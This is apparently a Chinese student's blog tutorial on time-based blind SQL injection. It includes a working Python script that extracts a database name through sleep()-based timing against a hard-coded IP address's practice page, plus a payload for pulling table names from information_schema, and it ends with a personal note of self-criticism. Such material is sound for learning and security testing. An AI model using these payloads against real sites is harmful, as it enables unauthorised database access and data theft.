Iuhrey

一个常年被吊打的Web手 一个唱歌不好指弹垃圾的吉他手

sql注入之时间盲注

时间盲注

上一种注入方式是在虽然没有回显位,但是正确错误的页面有所不同的,那如果正确页面和错误页面都相同呢?我们这是可以使用第二种注入–延时注入来判断我们所要的信息。
主要用到的是sleep()函数如果前面的语句为真,那么sleep()就会调用,页面回显就会有延迟,不过缺点也很明显,如果网络不好的话,报错注入就会出现误报的情况。
一般我们使用

if(,1,2)
case when() then else end

这两个条件语句来进行逻辑判断
下面这是一个例子

这个网站现在什么都不显示,但是我们可以试试sleep()是否有用。

发现响应时间过长,sleep函数起了作用,接下来我们就可以试着去爆破了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#coding=utf-8
import string
import time
import requests
database = ""
for i in range(1,20):
stime = time.time()
url = "http://47.94.13.75/edu/payload/sql/time.php?id=1' and case when(select length(database()) = %d) then sleep(10) else sleep(0) end --+" %(i)
r1 = requests.get(url)
if time.time() - stime > 10:
length = i
break
print length
for i in range(1,length+1):
for j in range(65,123):
stime = time.time()
url2 = "http://47.94.13.75/edu/payload/sql/time.php?id=1' and case when((select ascii(substr(database(),%d,1)))= %d) then sleep(10) else sleep(0) end --+"%(i,j)
r2 = requests.get(url2)
if time.time() - stime > 10:
database = database + chr(j)
break
print database
print database

爆破出数据库名。接下来的几个语句

1
2
' and case when(ascii(substr((select table_name from information_schema.tables where table_schema="edutest" limit 0,1),1,1)) = 65) then sleep(10) else sleep(0) end --+"
........

之后和上一次的脚本类似,理解一下自己就能去试试爆破出信息来了。

写在最后

无力感,什么都做不好,什么都比不过人家,没实力又太骄傲,我可真是个废物。浮躁浮躁,一天都不知道在干些什么,真是糟糕透了。重新学吧,起码要在大二前,拿出一点成绩。

本站总访问量